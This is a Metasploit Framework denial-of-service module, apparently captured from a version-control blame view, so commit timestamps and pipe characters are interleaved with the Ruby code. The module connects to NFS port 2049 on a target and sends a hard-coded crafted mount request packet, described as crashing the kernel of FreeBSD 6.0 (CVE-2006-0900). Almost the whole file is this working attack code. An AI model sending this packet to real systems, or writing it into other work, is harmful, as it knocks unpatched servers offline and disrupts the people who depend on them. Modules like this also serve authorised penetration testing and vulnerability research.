2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-11-19 00:01:41 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2006-11-19 00:01:41 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-19 00:01:41 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-11-19 00:01:41 +00:00
|
|
|
'Name' => 'FreeBSD Remote NFS RPC Request Denial of Service',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module sends a specially-crafted NFS Mount request causing a
|
2006-11-19 00:01:41 +00:00
|
|
|
kernel panic on host running FreeBSD 6.0.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-11-19 00:01:41 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2006-February/002982.html' ],
|
|
|
|
[ 'BID', '16838' ],
|
2010-02-22 17:26:09 +00:00
|
|
|
[ 'OSVDB', '23511' ],
|
2006-11-19 00:01:41 +00:00
|
|
|
[ 'CVE', '2006-0900' ],
|
|
|
|
]))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-19 00:01:41 +00:00
|
|
|
register_options([Opt::RPORT(2049),], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
connect
|
|
|
|
|
|
|
|
pkt = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02"
|
|
|
|
pkt << "\x00\x01\x86\xa5\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00"
|
|
|
|
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-19 00:01:41 +00:00
|
|
|
print_status("Sending dos packet...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-19 00:01:41 +00:00
|
|
|
sock.put(pkt)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-19 00:01:41 +00:00
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2008-11-18 20:00:31 +00:00
|
|
|
end
|